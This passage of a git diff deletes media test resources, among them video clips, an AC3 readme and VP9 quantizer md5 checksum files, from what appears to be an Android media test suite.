diff --git a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_12fps_aac_stereo_24kbps_22050hz.3gp b/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_12fps_aac_stereo_24kbps_22050hz.3gp
deleted file mode 100644
index eec1e10..0000000
--- a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_12fps_aac_stereo_24kbps_22050hz.3gp
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_25fps_aac_mono_24kbps_11025hz.3gp b/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_25fps_aac_mono_24kbps_11025hz.3gp
deleted file mode 100644
index b39c665..0000000
--- a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_25fps_aac_mono_24kbps_11025hz.3gp
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_25fps_aac_mono_24kbps_22050hz.3gp b/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_25fps_aac_mono_24kbps_22050hz.3gp
deleted file mode 100644
index e50f329..0000000
--- a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_25fps_aac_mono_24kbps_22050hz.3gp
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_25fps_aac_stereo_128kbps_11025hz.3gp b/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_25fps_aac_stereo_128kbps_11025hz.3gp
deleted file mode 100644
index cc50019..0000000
--- a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_25fps_aac_stereo_128kbps_11025hz.3gp
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_25fps_aac_stereo_24kbps_11025hz.3gp b/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_25fps_aac_stereo_24kbps_11025hz.3gp
deleted file mode 100644
index 22a7b8b..0000000
--- a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_25fps_aac_stereo_24kbps_11025hz.3gp
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_25fps_aac_stereo_24kbps_22050hz.3gp b/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_25fps_aac_stereo_24kbps_22050hz.3gp
deleted file mode 100644
index 55a73ec..0000000
--- a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_25fps_aac_stereo_24kbps_22050hz.3gp
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_256x144_webm_vp9_hdr_83kbps_24fps.webm b/tests/tests/media/res/raw/video_256x144_webm_vp9_hdr_83kbps_24fps.webm
deleted file mode 100644
index bc4ef33..0000000
--- a/tests/tests/media/res/raw/video_256x144_webm_vp9_hdr_83kbps_24fps.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4 b/tests/tests/media/res/raw/video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4
deleted file mode 100644
index 601dda1..0000000
--- a/tests/tests/media/res/raw/video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_dovi_3840x2160_30fps_dav1_10_2.mp4 b/tests/tests/media/res/raw/video_dovi_3840x2160_30fps_dav1_10_2.mp4
deleted file mode 100644
index 38e791f..0000000
--- a/tests/tests/media/res/raw/video_dovi_3840x2160_30fps_dav1_10_2.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_h264_mpeg4_rotate_0.mp4 b/tests/tests/media/res/raw/video_h264_mpeg4_rotate_0.mp4
deleted file mode 100644
index 73a7309..0000000
--- a/tests/tests/media/res/raw/video_h264_mpeg4_rotate_0.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_h264_mpeg4_rotate_180.mp4 b/tests/tests/media/res/raw/video_h264_mpeg4_rotate_180.mp4
deleted file mode 100644
index 7c6a927..0000000
--- a/tests/tests/media/res/raw/video_h264_mpeg4_rotate_180.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_h264_mpeg4_rotate_270.mp4 b/tests/tests/media/res/raw/video_h264_mpeg4_rotate_270.mp4
deleted file mode 100644
index 684ba40..0000000
--- a/tests/tests/media/res/raw/video_h264_mpeg4_rotate_270.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_h264_mpeg4_rotate_90.mp4 b/tests/tests/media/res/raw/video_h264_mpeg4_rotate_90.mp4
deleted file mode 100644
index 921a58f..0000000
--- a/tests/tests/media/res/raw/video_h264_mpeg4_rotate_90.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/voice12_48k_128kbps_15s_ac3_readme.txt b/tests/tests/media/res/raw/voice12_48k_128kbps_15s_ac3_readme.txt
deleted file mode 100644
index 3073d48..0000000
--- a/tests/tests/media/res/raw/voice12_48k_128kbps_15s_ac3_readme.txt
+++ /dev/null
@@ -1,7 +0,0 @@
-file=voice12_48k_128kbps_15s.raw
-author=Phil Burk
-copyright=2016 Google Inc
-license=Apache Open Source V2
-channels=2
-encoding=AC3
-rate=48000
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_00.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_00.vp9
deleted file mode 100644
index 1d65e32..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_00.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_00_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_00_vp9_md5
deleted file mode 100644
index aa90d5a..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_00_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-c3fbb7abbdb5bd4ed4a7e34768c17df1  vp90-2-00-quantizer-00-352x288-0001.i420
-08203c2595bdb2d58ead6f921345d699  vp90-2-00-quantizer-00-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_01.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_01.vp9
deleted file mode 100644
index c2aebcf..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_01.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_01_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_01_vp9_md5
deleted file mode 100644
index 85e12ba..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_01_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-f041b870cf9236d5f22e2b08a77d5958  vp90-2-00-quantizer-01-352x288-0001.i420
-cbdb7526986ae15592891488c9afc84c  vp90-2-00-quantizer-01-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_02.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_02.vp9
deleted file mode 100644
index 6baa992..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_02.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_02_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_02_vp9_md5
deleted file mode 100644
index e1bbcaa..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_02_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-98048cfdb4af5059f4085c5acc94ef8f  vp90-2-00-quantizer-02-352x288-0001.i420
-8160183e1eed1d0af4427be216b8b9f7  vp90-2-00-quantizer-02-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_03.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_03.vp9
deleted file mode 100644
index 7b7ead0..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_03.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_03_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_03_vp9_md5
deleted file mode 100644
index fb6f597..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_03_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-15c548208f5eda243a151a42f4d64855  vp90-2-00-quantizer-03-352x288-0001.i420
-e96d463dc8e9b27b1c2ec40f77eee6ef  vp90-2-00-quantizer-03-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_04.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_04.vp9
deleted file mode 100644
index 4eb17d0..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_04.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_04_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_04_vp9_md5
deleted file mode 100644
index fbe7558..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_04_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-928c64a0747ac57ab50c1520d694fea7  vp90-2-00-quantizer-04-352x288-0001.i420
-a6f6daa293231e95ef30ed168f582c84  vp90-2-00-quantizer-04-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_05.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_05.vp9
deleted file mode 100644
index b11f071..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_05.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_05_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_05_vp9_md5
deleted file mode 100644
index 4977060..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_05_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-082460718b7d7046c8fb23184b7f71ca  vp90-2-00-quantizer-05-352x288-0001.i420
-4a41aad51c40a92df72333e13f47d3fe  vp90-2-00-quantizer-05-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_06.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_06.vp9
deleted file mode 100644
index 11e2814..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_06.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_06_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_06_vp9_md5
deleted file mode 100644
index 2a90a40..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_06_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-cfca1bed96ff62a69b2d841fda01c6b9  vp90-2-00-quantizer-06-352x288-0001.i420
-9b4d61f1b998745c108f8eb67925e03d  vp90-2-00-quantizer-06-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_07.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_07.vp9
deleted file mode 100644
index 38f752c..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_07.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_07_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_07_vp9_md5
deleted file mode 100644
index 6b77e7f..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_07_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-6f5122064bead9d9882bec2698a6ed9c  vp90-2-00-quantizer-07-352x288-0001.i420
-50dae67d2f57a76eece210dee8b6df9e  vp90-2-00-quantizer-07-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_08.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_08.vp9
deleted file mode 100644
index a666e85..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_08.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_08_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_08_vp9_md5
deleted file mode 100644
index d0dba67..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_08_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-eb3d6985fcda5d93dd62d53354e8a093  vp90-2-00-quantizer-08-352x288-0001.i420
-5b1f5b7780b4cafe1f75e56a0b526643  vp90-2-00-quantizer-08-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_09.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_09.vp9
deleted file mode 100644
index d5e9268..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_09.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_09_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_09_vp9_md5
deleted file mode 100644
index a1d78c2..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_09_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-d7ccaf28c59875fe91983def5490d2b1  vp90-2-00-quantizer-09-352x288-0001.i420
-bd98fe9492054826748de840b4495309  vp90-2-00-quantizer-09-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_10.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_10.vp9
deleted file mode 100644
index ad74ec5..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_10.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_10_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_10_vp9_md5
deleted file mode 100644
index cc8a716..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_10_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-20dda6231f9801c9c237c6d09d9939b6  vp90-2-00-quantizer-10-352x288-0001.i420
-23c91e93807fb9a4ed5bd5bdd449d99f  vp90-2-00-quantizer-10-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_11.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_11.vp9
deleted file mode 100644
index 144a555..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_11.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_11_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_11_vp9_md5
deleted file mode 100644
index 39464f2..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_11_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-960833315ebcdee97f46c4d98d0f3fef  vp90-2-00-quantizer-11-352x288-0001.i420
-eec40507d17b64b7895a61cb87b2096a  vp90-2-00-quantizer-11-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_12.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_12.vp9
deleted file mode 100644
index c831b57..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_12.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_12_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_12_vp9_md5
deleted file mode 100644
index 57e7dbe..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_12_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-6533224d3b6ba1ec0dd973bbe56c6349  vp90-2-00-quantizer-12-352x288-0001.i420
-12ceadc6d28327a24a75f8c40b6084d1  vp90-2-00-quantizer-12-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_13.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_13.vp9
deleted file mode 100644
index 168bca9..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_13.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_13_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_13_vp9_md5
deleted file mode 100644
index 03acb52..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_13_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-7268de6756014f79a56dcf010c52a97f  vp90-2-00-quantizer-13-352x288-0001.i420
-9e39e9b0e2295b8460dfa05f44762771  vp90-2-00-quantizer-13-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_14.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_14.vp9
deleted file mode 100644
index 0113e12..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_14.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_14_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_14_vp9_md5
deleted file mode 100644
index 2525db5..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_14_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-57e9e333c641fa952f7485b788df225a  vp90-2-00-quantizer-14-352x288-0001.i420
-551f0cea83dcdf4540c3983736757874  vp90-2-00-quantizer-14-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_15.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_15.vp9
deleted file mode 100644
index fe7add2..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_15.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_15_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_15_vp9_md5
deleted file mode 100644
index c6e5377..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_15_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-17a0a2842856b9e89aede237648d5dda  vp90-2-00-quantizer-15-352x288-0001.i420
-c9fcade888a38621bebe3d4b41664245  vp90-2-00-quantizer-15-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_16.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_16.vp9
deleted file mode 100644
index c9c35b4..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_16.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_16_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_16_vp9_md5
deleted file mode 100644
index c1abf24..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_16_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-6cc2089e9a3d352fe10b59ccd935c677  vp90-2-00-quantizer-16-352x288-0001.i420
-d165bf7b9cb901e121a65038758d8613  vp90-2-00-quantizer-16-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_17.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_17.vp9
deleted file mode 100644
index cd8dd67..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_17.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_17_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_17_vp9_md5
deleted file mode 100644
index 40d8f03..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_17_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-bc80511c83162c09661f155cd29f6dd8  vp90-2-00-quantizer-17-352x288-0001.i420
-a62f1cbdb3f86d2fb4c880cfd917def5  vp90-2-00-quantizer-17-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_18.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_18.vp9
deleted file mode 100644
index 4b0fe9f..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_18.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_18_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_18_vp9_md5
deleted file mode 100644
index 3cb5fbe..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_18_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-b2d350f6faa41cb50c2e8a9907d0f4a5  vp90-2-00-quantizer-18-352x288-0001.i420
-39b4380d16bc8e093dd4dba475175fb3  vp90-2-00-quantizer-18-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_19.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_19.vp9
deleted file mode 100644
index f14d8d6..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_19.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_19_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_19_vp9_md5
deleted file mode 100644
index 36dbdac..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_19_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-441e09be3c15fcb240afd74bb7a10a72  vp90-2-00-quantizer-19-352x288-0001.i420
-32ae5dac876ca5d5ae6ab7c74f4dc25d  vp90-2-00-quantizer-19-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_20.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_20.vp9
deleted file mode 100644
index 062fd61..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_20.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_20_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_20_vp9_md5
deleted file mode 100644
index ca80f66..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_20_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-7786eb9944dba0553e129133523a98c1  vp90-2-00-quantizer-20-352x288-0001.i420
-206d888f8453427f10a40aa8bf5f6df0  vp90-2-00-quantizer-20-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_21.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_21.vp9
deleted file mode 100644
index 500950c..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_21.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_21_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_21_vp9_md5
deleted file mode 100644
index b31ac9e..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_21_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-aab95e195be71feca050a839d7b3154d  vp90-2-00-quantizer-21-352x288-0001.i420
-02a05d699bbbdc477e34bb0dad9f0391  vp90-2-00-quantizer-21-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_22.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_22.vp9
deleted file mode 100644
index 88dad68..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_22.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_22_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_22_vp9_md5
deleted file mode 100644
index 8f50f51..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_22_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-41f853c3ee2d4611b645cc643d82e287  vp90-2-00-quantizer-22-352x288-0001.i420
-1c240c653110ff8609ca0f0287a6496d  vp90-2-00-quantizer-22-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_23.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_23.vp9
deleted file mode 100644
index 1834017..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_23.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_23_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_23_vp9_md5
deleted file mode 100644
index ea0aaaa..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_23_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-bc5b07369df50c8f97ce1a377fe513cf  vp90-2-00-quantizer-23-352x288-0001.i420
-ce62ddb4f3e305d0f8587ae8bb44cc79  vp90-2-00-quantizer-23-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_24.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_24.vp9
deleted file mode 100644
index d9dac53..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_24.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_24_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_24_vp9_md5
deleted file mode 100644
index 49f378f..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_24_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-982d54041221c977b6f0e37a9236cc76  vp90-2-00-quantizer-24-352x288-0001.i420
-57631e7f13f645c834e2944ebfd6d40e  vp90-2-00-quantizer-24-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_25.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_25.vp9
deleted file mode 100644
index e04f1b6..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_25.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_25_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_25_vp9_md5
deleted file mode 100644
index 90ed556..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_25_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-b0fb55f3f2f56b3d27038e83c10123ce  vp90-2-00-quantizer-25-352x288-0001.i420
-9fcac3becdcc2d30d778a55eca4c2018  vp90-2-00-quantizer-25-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_26.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_26.vp9
deleted file mode 100644
index 3b5abd3..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_26.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_26_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_26_vp9_md5
deleted file mode 100644
index dbec99c..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_26_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-4f645e0f354da77b9e2f2a6753c361da  vp90-2-00-quantizer-26-352x288-0001.i420
-b7542998ec298273ca662bc9b658d10e  vp90-2-00-quantizer-26-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_27.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_27.vp9
deleted file mode 100644
index 6dbea83..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_27.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_27_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_27_vp9_md5
deleted file mode 100644
index 14ec691..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_27_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-6edc96a3747cad43828397045764206e  vp90-2-00-quantizer-27-352x288-0001.i420
-5fbc65d20fdca1abd69079851ce676d3  vp90-2-00-quantizer-27-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_28.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_28.vp9
deleted file mode 100644
index 8f928cc..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_28.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_28_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_28_vp9_md5
deleted file mode 100644
index 0e2d177..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_28_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-5db3e910e70da38bb91d01d73acc33dd  vp90-2-00-quantizer-28-352x288-0001.i420
-b920ee7f7e61b7fdf9f44b1f738d0292  vp90-2-00-quantizer-28-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_29.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_29.vp9
deleted file mode 100644
index f343340..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_29.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_29_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_29_vp9_md5
deleted file mode 100644
index 1187388..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_29_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-3cb3e310be5305077efa6216f6f10654  vp90-2-00-quantizer-29-352x288-0001.i420
-692d3e098af5978fe1a898ebc1a66a7a  vp90-2-00-quantizer-29-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_30.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_30.vp9
deleted file mode 100644
index f6ce3c8..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_30.vp9
+++ /dev/null
